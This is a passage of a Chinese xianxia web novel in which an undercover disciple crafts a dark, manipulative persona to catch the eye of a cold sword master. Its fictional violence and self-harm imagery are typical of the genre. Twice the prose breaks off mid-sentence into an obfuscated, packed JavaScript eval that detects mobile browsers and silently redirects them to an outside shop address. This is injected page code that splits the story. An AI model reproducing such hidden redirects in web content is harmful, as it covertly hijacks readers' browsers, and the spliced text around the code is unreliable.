师姐:“好师妹,好师妹,你怎么样了,一切还顺利吗?” 姜昀之:“……” 从未被如此肉麻地喊过。 师兄和师姐的眼中闪烁着把小师妹推出去当卧底的愧疚。 可没办法,神器只认小师妹一个人。 “多日不见,师妹是不是瘦了,可是遇到什么苦楚了?”师姐关切地问。 姜昀之:“……一切还算顺利。” 师兄和师妹也瘦了,他们两人的脸上俱呈现出一种颓灰色,代表灵府长期未受到灵气滋润,神识已开始皲裂,长此以往,灵府枯竭之时,便是修道人死亡的日子。 镜子里突然又多出一个人,掌门那张老脸从旁边挤进来,也肉麻道:“贤弟子,近来还好?” 姜昀之朝掌门行了个师门礼。 面对被自己派出去当卧底的弟子,掌门的眼神飘忽,叹气道:“其实我也很想以身代之,替你出去受苦,可惜神器没看得上我。” 姜昀之一笑:“无妨,我会同神器前辈说道说道,让它换人。” 掌门顿时卡壳:“……” 姜昀之只是开玩笑:“弟子会认真完成任务的。” 镜子里又冒出几张长老的大脸:“贤弟子,复兴湌松宗的大业就靠你了。等你回来后,你想要什么都可以,掌门之位也可以让给你,要不到时候直接给你立个碑吧。” 长老们七嘴八舌:“碑现在就可以立了。” 姜昀之:“……”这倒不必。 镜子的边角,姜昀之的师父、盈寸长老一直站在最旁边,要看不看地频频望向镜子,看到自家的弟子确实瘦了些,他狠狠地瞪向掌门:“秃驴。” 掌门:“……” 聊完后,铜镜的镜面转暗,屋子里一下变得很寂静。 姜昀之望向窗外,天色已黑,屋檐下的灯笼亮起,院子里时不时传来几声鸟鸣。 神器提醒道:“明日明烛宗正式开始选拔新弟子,和负雪宗一样,会选拔两日。” 神器:“契主,我们是明日出发,还是后日出发?” 神器有些纠结:“要不后日出发吧,这样你也能多休息会儿。” 姜昀之把铜镜放回乾坤袋中,想起师姐和师兄颓灰的脸色,她站起身:“明日出发。” 她离开住所,前往后山的血池。 血池旁,弟子们在岸上打坐休息。 弟子的数量变多了,多出一倍。 倒不是病倒的弟子回来了,而是另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697395|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一座山头的血池被长老征用,另有他用,原本在那里苦修的外门弟子只得奔赴此处。 他们是从第二日选拔中存活下来的弟子,一共有二十个人,病倒一大半,前来血池苦修的只剩下七个人。② 如今没病倒的弟子一共有十五个,这十五个人里,宗门最终只挑六人入内门。 有个黄衣弟子在给被合并过来的新弟子科普他们这里的状况:“我们这儿有个‘卷神’,就是那种学得又快又好、还巨能卷的人,遇到她要当心,千万不要被影响了,自尊心容易被打击。” 经过几日的相处,众人对姜昀之的称呼从‘瓷美人’进化成‘卷神’。 新弟子不以为然:“她跟我们一样是天灵根,又不是什么双天灵根,能有多厉害?” 黄衣弟子露出‘你还是太嫩’的神情。 新弟子:“你既说她十分努力,今日苦修为何不见她的踪影?” 黄衣弟子:“她昨日提前把今天的珠子给捞完了,估计今日是想休息吧,这才没来。” 新弟子:“你看,她如此劳逸结合,算不上什么卷不卷的。” 黄衣弟子被说服了,心想也是啊:“确实,是个人都会累。” 今日没有卷神来卷他们,众弟子约定好了,大家都不要急于求成,休息会儿再一起下血池捞珠子,不能恶性竞争。 已经是深夜,岸上沉寂而宁静,弟子们在纷纷在树下布结界而睡,让白日里被狠命摧残过的躯体缓缓地恢复。 休息还是很重要的,众人一开始也心存想要勾心斗角的念头,后来随着病倒的人越来越多,弟子们意识到过犹不及,一定得保证躯体的康健,才有机会进入内门。 要是身体垮了,可就白白和内门弟子的名额失之交臂了。 黄衣弟子和新弟子拜别后,也找了棵树,准备布结界睡大觉,昏昏欲睡间听到有动静,不解地睁开眼。 不是都睡了么,怎么好像听到了有人下血池的声音。 他陡然睁大双眼。 谁。 是谁在偷偷卷。 如此背信弃义之辈……他一下站起来,怒气冲到血池边,往下定睛一看。 黄衣弟子:“!” 又是她。 又是那个瓷美人。 卷神。 不是回去休息了,怎么又回来了?都已经是深夜了,她难道不累吗! 不能再放任她如此了。 “你!” 木灵根的黄衣弟子喝道:“就是你。” 血池正中央的姜昀之听到有人喊她,愣了愣,她转过身,朝岸上看:“何事?” 少女神色温和,手上却足足攥了有五个血珠子,珠子们奋力地挣扎,几乎要炸开她的指骨,白皙修长的手指出乎意料地有力,无论手中的珠子如何挣动,稳如磐石得绝不松手。 黄衣弟子一看到她手上的五个珠子,一下就忘记了自己要说什么。 五颗珠子,这可是五颗珠子……他记得她一开始和其他人一样,一次只能竭力捞住一颗珠子,现在竟然一次能捞住五个珠子。 潜心修炼的瓷美人,一直在进步。 而浑水摸鱼的他,现在还止步于一次只能捞一颗珠子。 不是因为他的天赋比她差,而是因为他瞧不起捞珠子这样枯燥的事,觉得毫无意义,这才一直没有全神贯注。 姜昀之以为他找自己有什么事,问道:“是有什么事么?” 怒气卡在了黄衣弟子的喉咙里,要上不上,要下不下:“你……你吃竹筒饭吗?” 阿娘做的,还剩三个。 姜昀之:“不用了,谢谢。” 黄衣弟子的神情有些怪,他似有什么愤懑之言无法宣之于口,姜昀之问:“是我的动静太大,吵到道友静修了么?” 没有…… 他只是在睡大觉,不是在静修…… 姜昀之压低声音道:“我会尽量放轻声音的。” 听到姜昀之这么说,黄衣弟子也跟着压低声音:“行……” 等等,他刚才来这里,是想说什么来着。 深夜里,血池中漆黑,四周空荡,只剩下少女一人趟于偌大的池子中,躬身,专注而安静地捞珠子。 水面被她趟出一道道水纹。 等十颗珠子都被捞上来后,她没有停下,而是往更深处走去,修长的身影不停地躬身,水上窸窣发出轻声的动静。 一整夜,这道身影都没有从血池里消失过。 天际蒙蒙亮,远处钟声响起,预告新一日的到来。 晨露从屋檐上往下滴落,执事弟子的住所响起敲门声,她从睡意中醒来:“谁啊?” “今天不是我当值啊……”执事弟子打开门,原本迷蒙的双眼因为眼前的景象顿时睁大:“!” 她是在做梦吗? 眼前有五十颗血珠子,整整齐齐地摆在案板上,举着案板的少女望向她:“师姐,辰安。” 五十颗? 五十颗! 执事弟子擦了擦眼睛,确定自己没看错。 真是五十颗! 这人是把血池里的珠子都给捞光了吗?执事弟子瞠目结舌。 姜昀之行礼,她抬眼:“师姐,我能用这五十颗珠子换一天的假么……弟子今日有事,需得外出。” 执事弟子的眼睛还瞪圆着,舌头快要打结,说话颠三倒四:“好、好,当然,请……您请。” 这一批的新弟子简直了,恐怖如斯!出了一个双天灵根直接入内门,又来了个卷神,幸好和她不是同一届的。 听到自己被批准外出,姜昀之浅笑道:“多谢师姐。” 今日晴,可外出。 算是个不错的开始。 6. 第六章 马车从负雪宗的山脚出发,于晨雾中朝明烛宗的方向出发。 负雪宗和明烛宗相隔万里,十分遥远,若是租千里符马车,得花上两三天才能抵达目的地。 就算是御剑飞行,也得花上半天的时间。 此次姜昀之租用的是万里符马车,万里符的咒法要比千里符厉害许多,花上两个时辰便能到明烛宗,不用御剑飞行,期间还可休息会儿,不至于太过疲惫仓促。 租赁疾行马车很贵,她付的是外门弟子的份例,来回两趟足足八百银石。 钱袋子又空了。 马车内,姜昀之休憩了一个时辰,她坐起身。 神器:“已经越过边界抵达明烛宗的行政疆域了,还有大约一个时辰能到达明烛宗的山门。” 姜昀之摘下腰间的环佩:“昨夜繁忙,还没来得及看环佩的变化。” 神器:“让我来读一读,我记得昨日环佩响了两次……” 神器:“天之骄子的好感度变了两次,第一次是在你结修罗印的时候,好感度竟然是增加的,加了一分!后来他离开山林的时候好感度又出现了变化,在看了你一眼后,减少了两分。现在总体的好感度变成了负二分。” 神器总结道:“这说明他认可你在道法上的天赋,不过暂时讨厌你整个人。” 姜昀之:“……” 神器立即道:“这是好迹象,这样才能触底反弹。” 姜昀之:“什么时候才能算是触得到底?” 神器小心翼翼地推算道:“大概……负十的时候?” 这么一算,神器突然觉得离好感度提升的距离一下没那么深远,语气变得轻快:“加油,契主,我们争取早日给天道之子放放气。” 争取不让天道之子灵气过载、爆体而亡。 明烛宗越来越近。 神器:“明烛宗的天道之子我已深入研究,已经找出最适合你们的情感攻略路线。这次的师妹人设,也是从你的本性中取一本分,深度挖掘,形成最适合这条路线的你” 姜昀之:“愿闻其详。” 神器:“明烛宗的天道之子是个恪守礼法、冷漠至极的人,由无情道起家,因实在精通剑法,改修剑,现在他在剑修方面的造诣已经可以说是堪称恐怖的境界。” 神器:“他冷漠而无情,不是普通的冷漠,是极度的冷漠、极度的无情,是那种表面看上去一视同仁,但其实从未将众生纳入眼底的人。他的世界里,除了规矩法纪,只剩下剑。” 神器:“他是三位天道之子里最保留‘神性’的一位,无情至极通神道……契主,你是修无情道的,你应该能理解这是什么意思。” 神器:“这样的人,极难留意他人,就算对方再怎么讨好、甚至触怒他都没有用,所有的攻略套路到了他这里都成了滑稽的演绎。” 一个彻底冷漠的人,几乎没有情感。 姜昀之:“要怎样才能让他留意到我?”情感是她的弱项,她谦虚地问。 神器:“首先,不能想着要‘对他做些什么’。” 诸如讨好、献殷勤,欲擒故纵之类的法子,通通不行。 神器:“而是想着你能展现出什么。” 想要获得明烛宗天道之子的认可,重点绝对不在他身上,而是在自己身上。 姜昀之:“在我身上?” “是。”神器道,“他观人若观蚁,是一个极难被吸引的人,无论做什么都无法纳入他的眼底,这便需要契主本身具有强烈的色彩。” 神器:“契主,这你肯定能理解,你们修无情道的都喜欢观察人、观察物,极难动情,但绝对会对具有强烈色彩的人物有所留意。” “强烈的色彩……”姜昀之问,“譬如?” 神器:“我从你的本性里挖掘出了一个具体的形象。” 神器:“一个阴暗、潮湿的存在,有着极好的正道天赋,心性坚定,极适合修剑,却因为被隐藏在心间的仇恨而容易走极端。你深深地厌世,有着不易察觉的居高临下,几乎讨厌所有人,包括自己。对于自己想要达成的目的,你会用尽办法去达成。在无人的时候,你会悄悄地把刀尖比向自己的脖颈,好奇疼痛带来的快感,不过也只是好奇,比起伤害自己,你更喜欢看别人因自己而痛苦。你会用刀尖将墙壁划出一道道长痕,在阴暗处耐心地等待自己的计划走向你想要让它走向的方向。” 神器:“深切的阴暗厌世下,仇恨是你最脆弱的地方,你进入明烛宗,正是因为你想复仇,你想成为内门弟子,想尽快地升为高门弟子,只有这样,你才能有资格进入禁地,那里封锁着上古的邪法,能助你尽快地屠灭仇人。你知道很难在短短的几年内一下成为高门弟子,所以你会费劲心思地接近首席弟子,因为他能带人进禁地。你并不喜欢他,你对他的所有讨好都带有目的。”① 神器:“你是一个极具故事感、极具成长感的人,你的身上充满谜团和秘密。你会愤怒地看向自己的仇恨之处,你伤心时眼含泪水却依旧会笑,你利用他人时毫无愧疚,为了达成目的,你甚至会极致地伤害自己,你瞧不起其他所有人,厌世而疲倦地看着他们,你害怕阳光,喜欢沉浸在黑暗中,眼下因久久难以入眠而青黑。” 很惊奇的是,神器也没想到自己能在姜昀之身上挖掘到这些面。 这也……藏得太深了。 神器:“首先,天之骄子会因为你的心性留意到你,你天赋极高,坚韧禁欲的心性适合练剑,他是一个注重剑道的人,会因为惜才之心留意到你。随后,他很快能发现你身上的反差和矛盾,你的刻意靠近会让他发现你的固执和野心,注意到你的偏执以及自毁。” 神器:“一开始,他只是冷漠地旁观,想观察你到底想要做什么,想从他这里得到什么。渐渐地,他觉得你很可惜,天赋不应该浪费在歪路上,他想要把你掰正回正道,可惜,你不领情,你不会因为任何人改变自己想做的事,你会变本加厉,你的沉郁和野心让他无奈,也会让他看到除恪守法纪之外的另一种人生,一种极端的人生,彻底脱离他常年所处的陈腐与刻板,你的存在能引出他心底的阴暗面,让他露出真实的自我,而不是永远做一个几近完美的假人。” 神器:“他会对你上瘾。” 神器:“你不用对他做什么,你要做的是做好自己的事,走好自己的路,期间你身上展露的所有面,都将深切地吸引到他,你的阴暗、你的痛苦、你的偏执、你的厌世……全都会让他深陷其中。你会终得所愿,而他,也会走下神坛,甘愿被你利用,成为你的所有物。” 神器:“这是一场彻底的沉溺。” 姜昀之静静地听着,有若在听天方夜谭,并未陷入神器夸张的描述中:“所以其实没必要对这位天道之子做什么,最重要的是刻画自我。” “是这样的。”神器道,“不过,也得尽可能地靠近对方才行。” 神器相信姜昀之绝对能挖掘好她这方面的本性,她是一个‘草木蔓发,春水可望’的存在。 而春水最是包容,她能在负雪宗化为纯澈至极的春雪,便也能在明烛宗化为阴暗偏执的暗流。② 神器:“明烛宗天道之子这样的人,太难留意他人,所以我们必须要给他一个极强的第一印象,无论用什么办法,哪怕是用最不好的方式。” 不能像和章见伀刚见面那般只是浅浅留下一面,印象要足够深刻,要不然明烛宗的天道之子永远不会注意到宗门内还有这样的人。 姜昀之觉得神器说得都很好,可是她有个问题:“前辈说到了仇恨,仇恨这个词几乎是这条路的核心……可是我的内心,并没有这么多的仇恨。” 神器:“不,你有的。你的本性里有这一部分,而且还占据的比例并不小,只不过藏得非常深。” 深到姜昀之本人都快忘了。 姜昀之:“湌松宗虽衰败了,但师门上下都是好人,气氛和睦,何以滋生怨恨。” 神器有些不忍地开口:“……契主,想想你当初为什么要修无情道。” 因为……想要忘却。 姜昀之是被捡回宗门的,她并非在湌松宗土生土长,出身于凡间的一个平凡富贵人家,家中经商,父母和睦,膝下有两儿一女,姜昀之是家中最小的妹妹。 九岁的那年,姜府被妖邪屠门,年幼的姜昀之倒在血泊中,看到父母的头颅在地上滚落,兄长的心脏被妖物啃食。 路过的盈寸长老救了她,并将在场的所有妖邪尽数诛灭。 仇家已亡,仇恨无处安放,当年初入山门的小小昀之,心中满腔悲痛,却无法宣泄,日日无法安眠。 父母 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她闭上双眼,将神识中那尘封已久的记忆放了出来,再次睁开双眼后,幼年的那股恨意如同暗流一般冲刷而上,在肌肤表面留下一层鸡皮疙瘩。 是啊,她忘记了。 师门的美好和无邪,让她几乎忘却这世间并不是处处完美的,更多的地方充斥晦暗、潮湿、仇恨、伤害以及无能为力。 神器:“怎么样,能找到感觉吗?” 姜昀之抬眼:“弟子会努力的。” - 石峰连绵,雨雾常年笼罩于山顶,风吹来潮湿的草木气息,这片庞然而苍黛的峰峦,便是山门的栖息之处。 明烛宗。 今日是明烛宗一年一度的弟子选拔,山门外人山人海,马车罗列,前来赴选的人排起一条长长的队伍,行列蜿蜒如游龙。 空气中弥漫雨后泥土、树叶、岩石的潮湿之气,带着一股挥之不去的深重寒意与旷远寂寥,和明烛宗这个宗门一样庄重。 明烛宗是三大宗里最传统、最正道的宗门,历史最为悠久,宗门遵循强者为王的原则,以修心为首,以礼法为重,宗规肃穆,法纪严苛。 在执事弟子的规束下,乌泱泱这么大一群赴考弟子安静得出奇,不敢在山门前造次。 姜昀之置身于人群中,这是她第二次参加弟子选拔,明明和赴考负雪宗的是同一个人,浑身的气度却已有所不同。 负雪宗的她若一庭晴雪,而明烛宗的她却如涧下暗流。 旁人瞧见她,也许会不自禁地想起《水龙吟》中的那句‘雨落风枭’。 ‘冰凉的雨水总会落在风吹不止的深夜’,凛冽得让人不敢靠近,带着一丝生人勿近的不祥预兆。 人群中,神器若有所感:“怎么又是它……” 它又感应到龙傲天神器了。 神器:“我就知道它不会放过弟子选拔的机会,必然也会来,天道之子在哪里它就在哪里,真是个跟屁虫。”神器骂龙神器的同时也骂了口自己。 听到神器的话后,姜昀之并没有像往常那样作出反应,她依旧沉浸在‘雨落风枭’的冷淡里,试图挖掘出本性里更多的晦暗。 居高临下,阴晦。 她在心中默念着。 姜昀之的眼神有了变化,不再透露出积雪般的明亮,阴沉地垂下眼后,眼神中捎带上不可见底的深黑。 神器:“!” 好厉害,入戏了。 昀之真的无论做什么事都很认真, 神器知晓她不仅仅是为了完成卧底任务,也是为了在这过程中寻找到更多的自我。 修无情道就应该这样,不断地明晰自我,与持续变化的环境共鸣,往万物的深处探寻本心,才能体悟所谓的无情至简。 看不到头的队伍终于有所挪动,姜昀之随着队伍往前走了几步,走出身前的槐树阴影,站到日光下。 雨后的日光尤其得亮,刺眼地照在姜昀之的侧脸,她抬起手,修长的手指遮住斜照而下的日光,好看的眉头皱了皱,似乎有些厌烦这照得世间万物无所遁形的日光。 过分得亮眼,让人想要摧毁些什么,或是……添一些乱。 真想快些见到那位她想见了许久的大师兄。 她会给他留下最深刻的第一印象,无论用什么办法。 7. 第七章 天下宗门,弟子选拔的流程大抵都一样。 先是测灵根,而后结队前往山林试炼,通过试炼的人能成为外门弟子。 不过明烛宗的试炼与负雪宗的试炼略有所不同,虽也要结队,却不是两两结队,而是三三结队。 负雪宗的结队很自由,且试炼的规则明里暗里都在引诱弟子们背刺彼此,以此让他们提前体悟修罗道的残忍。明烛宗是彻底的正道,考核弟子能力的同时也会督察他们的品性,绝不容许队内残杀的事情发生。 结队的规则亦有所不同。 三人一队,若想通过试炼,必得保全结队人的存活,队内但凡有人死去,哪怕其中有人能独活到最后,也无法通过试炼,真正意义上考验弟子的协作能力与人品。 这样的绑定让试炼变得更难,不仅得保全自己,还得保全他人。 排队的人群中,已有不少弟子面露焦色,在等候测灵根的同时已提前找起队友。一定要找个靠谱的、和自己能力旗鼓相当的队友,要不然一损俱损,大家都无法通过试炼。 “有没有人愿意跟我做队友,我已经提前在家测过灵根了,我是天灵根。” “有没有道友愿意看看我,我虽只是个单灵根,但已经有筑基后期的修为,和我结队,我保证不拖你们的后腿。” 人群变得嘈杂了些。 有人不解:“干嘛非得找能力相当的人同队,如果三个人里有一个人足够强,带两个稍弱的,又不是不行,若是强的全都组在一起,让弱的怎么活。” “王兄,你有所不知,明烛宗结队后,三人入山林时会被阵法分散到不同地方的。”另一人道,“这意味着还得先找到彼此才能一起走出试炼,而在三人齐聚之前,每个人都会独自历险,必须要有自保的能力。” “是啊,要不然在找结队人的期间,但凡有个人死在了里面,不就拖累了其他两个人吗,换你,你敢跟杂灵根结队吗,你敢赌吗?” “嘶。”有人倒抽一口凉气,“怎么感觉明烛宗的试炼比负雪宗的还要难。” “明烛宗招的人不多,试炼里死的人也不像负雪宗那么多,自然要难些才行。” 弟子们穿梭在行列间寻求结队的同伴,喧闹声中,姜昀之独自一人站在原地不动,冷眼望着眼前的人群动来动去。 有人留意到她,不知道为什么,隐隐约约感觉这人应该挺厉害的,周身的气质和灵气都非常森冷。 有位灰衣弟子上前一步,拱手笑道:“道友,不知你是否愿意和我们结队?” 他指向自己身旁的一个人:“我们两个已经结队,还差一个人。” 灰衣弟子的姿态放得很低,礼节是十足十的,脸上也堆起还算真诚的笑,按道理说伸手不打笑脸人,可少女只是投来的眼神冷冷的,一句话都没接,只是居高临下地瞥了他一眼,便收回目光。 明烛宗的姜昀之,不会和没有利用价值的人说话。 灰衣弟子闹了个大红脸,想说些什么,嘴唇上下磕碰了几下,最终什么都没说,悻悻地甩袖离开了。 神器激动道:“味道对了,非常对。” 就得这么目中无人。 正激动着,结队的议论中响起一道惊叹声:“双天灵根!” “什么,竟然有人被测出了双天灵根,谁啊,这可是百年难得一见的双天灵根!” 神器:“……”这套路怎么这么耳熟。 又是用金手指爆出来双天灵根,又是丹药堆砌出来的金丹期,一听就是龙神器带着它的龙傲天来了。 故技重施! 神器:“这次他们倒是学聪明了,知晓天道之子不一定会在内门里出现,藏起了金丹的修为,没有直接进内门,留在山门外和一众弟子一起试炼。” 姜昀之抬眼,朝喧哗处望去,淡淡道:“嗯。” 神器:“他们那儿肯定有更多有关天道之子踪迹的消息,我去打听打听,他们也许知道天道之子具体会在山林的那片地方现身。” 明烛宗征用来试炼的山林十分庞然,分东西南三个林区,若是茫然在林中走,很难遇见天道之子。 不一会儿,神器探知回来了,语气有些兴奋:“他们果然知道,我听到他们谈论了,明烛宗的天道之子会在东山林现身。” 东山林? 姜昀之朝东处望去,云雾缭绕,山林葱郁,望不到尽头。 她扯出一个不达眼底的笑:“好。” 那便去东山林。 神器发现契主就连和它的沟通风格也改变成了截然不同的‘雨落风枭’风格,果然春雪有春雪的澄澈,暗流有暗流的冷郁,神器有些‘抖m’地觉得这样的契主挺让人心动的,也学着把言语缩短,试图让自己变得神秘:“嗯。” 神器:“忘了说,明烛宗天道之子姓岑,他叫岑无朿。” 他原本只单字一个‘朿’,后因此字太过锋芒毕露、太过煞气,这才加了个‘无’来削弱命理中的戾气,改过字后,‘无朿’二字,又显得太过无情,有‘身外无他物’的寓意,仿若世间万物在此人眼中,最终皆会归于虚无。 人群中也在议论这位威名在外的明烛宗大师兄,不过没人敢直呼他的名讳。 “我前来明烛宗求道,最主要就是因为负雪宗的大师兄,你们应该知道他在剑法上面的造诣吧,听闻已然是化臻后期了,这世上没几个人能有这么高的修为,他便是其中一位。若是我的造诣能达其十分之一,我也就死而无憾了。” “已经算是近乎是天人的一位存在了,也只有他能当得上‘剑尊’这样的称号,除剑之外,心中全无杂念。” “不管能不能进明烛宗,真想见这位‘剑尊’一面,沾上几分剑气也好啊,不过这样的人物,岂是我们这些小弟子能见到的?” 有知道些内幕的弟子摇了摇头,低声道:“这位剑尊并不像传言中那般完美,我有一位在明烛宗当过内门弟子的兄长,说他为人极冷漠,不把人放在眼里,弟子们都很害怕他。而且他行事极严苛,心中只有规则没有人情,内门弟子对阵时从不因人而异,下手狠,不少弟子和他对阵过便再也无法修道了,我那位兄长就在对阵中少了一个胳膊,再也拿不起剑。” 听闻此话,有人唏嘘:“不能修道对我们这些修道人来说是最生不如死的事,如此严苛做派,实在太过无情。” 也有人维护:“对阵一事本来就是门派的正常比试,对阵有输有赢,败家哪怕死了也正常,何况剑尊从不在对阵中下死手,或多或少都会留人一命的。” “你们真是站着说话不腰疼,要是让你们修为被毁、成为残疾,你们还说出这话吗,明明可以是普通的切磋,结果切磋后此生都不能修道了,就算活着也是生不如死。” 说罢,不少人在脑海中勾画出一个不通人情、冷漠至极的剑尊形象,想象出自己在对阵中被废胳膊的惨状,再也无人说自己想拜见剑尊了。 果然高位之人,大多无情。 远处,负责查验灵根的内门弟子朗声喊:“下一队,验灵根。” 姜昀之所在的队伍终于得以走到验灵石前,一个一个地把手贴在磐石上,白光转瞬即逝,磐石上显现出他们的灵根。 “木灵根,不错,领木牌,下一个。” “雷灵根,少见,领木牌,下一个。” “天灵根,天资卓越,领木牌,下一个。” “杂灵根,可惜,是我们明烛宗和你无缘了,下一个。” “双灵根……筑基修为,小兄弟,也许你的缘分在其他宗门。” 神器:“正道门派说话就是会包装,负雪宗直接把杂灵根给遣出去,明烛宗还知道表面上安慰下。” 姜昀之望向说话的执事弟子。 执事弟子虽言语上安慰,眼中却有几分瞧不起,冷声送客后,杂灵根的弟子兀然拽住他求饶:“道长,求求您再给我个机会,让我留下来试炼吧!” 执事弟子的眼神愈发不耐烦,直接喊杂役将人拖走,拿锦帕掸自己衣摆被杂灵根拽过的地方,不停地摇头。 少女的嘴角升起一抹不易察觉的冷笑。 这就是所谓的正道门派。 “下一个。” 到了姜昀之,修长而指节分明的手贴在磐石的正中央,手下冰凉,不多久显露出天灵根的资质。 早就知道的事,不值得任何的意外,姜昀之淡淡地从执事弟子手中接过自己的木牌。 “果然是天灵根。”围观的弟子们很艳羡,“这人一看起来就像个天灵根。”果然是啊。 姜昀之翻过木牌,背面刻着两个字——‘西山’。 这代表她将被分到西山林。 神器:“不巧,为什么是西山林……”天道之子在东山林啊。 姜昀之定睛看了一眼木牌背后的‘西山’二字,放下木牌,朝人群中望去,视线在他们手中的木牌上掠过,最终定在了一块‘东山’上。 手拿东山林木牌的人看起来很眼熟。 神器:“是适才的那位灰衣弟子。” 灰衣弟子正愁眉苦脸地和另一人交头接耳,商量还差一人该如何结队。 “其他天灵根都被抢走了,我们现在再去找,也最多只能找到单灵根。”灰衣弟子正絮叨着,身旁传来脚步声。 一抬眼,瞧见一道修长纤瘦的身影。 姜昀之垂眼望着他,露出一抹不达眼底的笑:“这位道友,打个商量,可愿和我换个木牌?” 只有对可利用之人,少女才会露出这样的笑。 灰衣弟子一开始没反应过来,片刻后,他的脸皮由白转红:“你……你!” 从未见过如此无礼之人,刚才他姿态放那么低地去求她,一句话都没等来,这会儿竟然一上来就要同他换木牌,凭什么啊!不带这么羞辱人的! “不让你做亏本生意。”姜昀之一副淡然模样,“我是天灵根,我愿意和你结队。” 灰衣弟子一下也噎住了,正思考该不该接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697397|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姜昀之又道:“和我一队,我能确保你们必然通过试炼,如何?” 她将木牌放到灰衣弟子的眼前,修长手指下晃动的木牌如同毒蛇吐出的信子,缓慢地诱惑人走向陷阱。 灰衣弟子抬头。保证?你拿什么保证?这种言之凿凿的话明明毫无依据,想也知道是块空饼,可灰衣弟子还是鬼迷心窍地递出了自己手中的木牌:“行……” 不知道为什么,他总觉得这人既然能说出口,必然就能做得到。 姜昀之抽走他手中的东山林木牌,低笑一声:“你做了一个正确的选择。” - 东山林,瘴气深沉,浓密的雾中,一行人穿行于山林间,恭敬地朝最前面走着的人汇报选拔的情形。 “启禀剑尊,今年绝不会出现任何沾亲带故才进明烛宗的情况,山林的所有阵法也全都排查过了,没有任何缺漏。” “除阴鬼外,其余邪物也已置入阵法中,各鬼各邪,确保不会出现在阵法之外。” “前山正在测灵根,此次的弟子中出了一位百年难得一遇的双灵根。” 为首的剑尊一直一言不发,其余弟子无法揣度他的意思,俱躬身而亦步亦趋地跟上他。 几十米之外,一道黑影正紧随在后,他狠狠地望向他们的方向,脸上都是恨意。 此人是外山门的杂役,名叫陈旭,曾也是明烛宗的内门弟子,他是天灵根,天赋异禀,当年进山门后短短六年内便升为高门弟子,可谓一时风光无限,直到那一天…… 他和岑无朿对阵。 原本以为自己苦练十年,就算败于岑无朿手中也不会太惨,但比试的最后,他吐血不止,浑身骨头被打断,金丹爆裂,等他醒来的时候,师弟悲痛地告诉他一件事。他这辈子,再也无法修道了。 他失去了调用灵气的能力,身体残缺,无法再修剑,目眦欲裂的他被赶出山门,沦为一个普通人。 他不甘心。 他怎能甘心? 恨意如同蚂蚁一般在他的心间日日啃咬,他再次上山,混入山林中当了个外门杂役,就是为了这天。 他要杀了岑无朿!他要杀了这个毁了自己一生的人! 如果不是他!如果不是他……“啊!我要杀了你!”眼睛里都是红血丝的陈旭从灌木中冲出来,汇聚此生所有的功力,引爆符咒,以自毁的姿态朝人群中的岑无朿冲去。 岑无朿连身都没有转。 他周身的剑气嗡鸣一声,径直朝冲过来的陈旭涌去,化为半空中锐利的空刃,划破陈序的脖颈,头颅落地,在泥地上滚落。 一切发生在眨眼之间,岑无朿身后的内门弟子像是见惯了这种场景,除眉头跳了跳,眼中对大师兄的敬畏更深外,没有更多的反应。 总有不长眼的人来寻仇,难道他们不知道大师兄的剑甚至不用出鞘,便能轻轻松松取他们性命吗? 众人知晓大师兄是极度注重礼法的人,选拔之日怎能让血腥气沾毁山林间的规格,立即走来一群外门弟子和杂役,将地上的尸体给拖走。 待岑无朿转身后,地上已无任何尸身的痕迹。 这道高大修长的身影光是站在那里,便有种让人不敢直视的威压,身着玄金,并无任何纹饰,却比帝王的衮服更显沉重威仪。 男人面容冷峻,眼窝深邃,瞳孔的颜色异于常人,并非深黑,而是冷漠的、无情到极致的银白,与他对视时,仿佛能看到埋尸万丈的冰崖。 明烛宗重法纪,门第内尊卑分明,弟子们对他又敬又怕,看到他看过来,俱将腰板弯得更深。 外山门的长老出来说话,言语间有敬意:“是我们外山门管教不得力,才让有心人钻了空子,但凭剑尊处置。” 岑无朿的声音和他整个人一样冰冷:“自去刑罚堂领罚。” 长老大气不敢出:“是。” 执事弟子随岑无朿走后,外山门的弟子们这才议论道:“大师兄事务那般繁忙,竟能拨冗亲临宗门选拔?” “你是新来的吧,大师兄每年都会来巡视弟子选拔。” “为什么啊……都是些筑基期的小弟子,有什么好看的?” “大师兄在寻找有剑心、真正适合修剑的人。” “明烛宗已经许多年没有出现过天生适合练剑的人了,说的玄乎一些,就是天生剑骨剑心的人,能心无旁骛地将剑练到登峰造极。大师兄很重视剑理传承,对适合习剑的人才向来惜才,他的一身剑法,也得传下去。” “虽说剑尊是为了他的师父寻弟子,但若是被他看中,他肯定会亲自教诲的。” “那……今年会有适合练剑的人出现吗?” “适合练剑的人何其多,但能入大师兄眼的,可就难了。” “毕竟剑尊眼中的天赋和我们寻常人眼中的天赋定然不是一个水平的,世间能穷尽一生臻于习剑者,除大师兄外,我想不到还有谁能做到这种地步。” “唉,剑心之人,估计今年又是空悬。” 8. 第八章 验完灵根后,领好木牌的弟子们在执事弟子的带领下前往山林。 “听说每年选拔,剑尊都会亲临山林。” 有人惊呼:“这是为何?” “剑尊在寻找剑骨剑心之人,来继承宗门的剑理。” 此话一出,不少人已然开始幻想起自己是剑心之人:“若是剑尊能挑中我就好了,我真想得到纯正剑意的教诲。” “这可不是什么好事,你们难道不知道,上一个被明烛宗认可的剑心之人,已经练死了么?” “死了?这是什么事?” 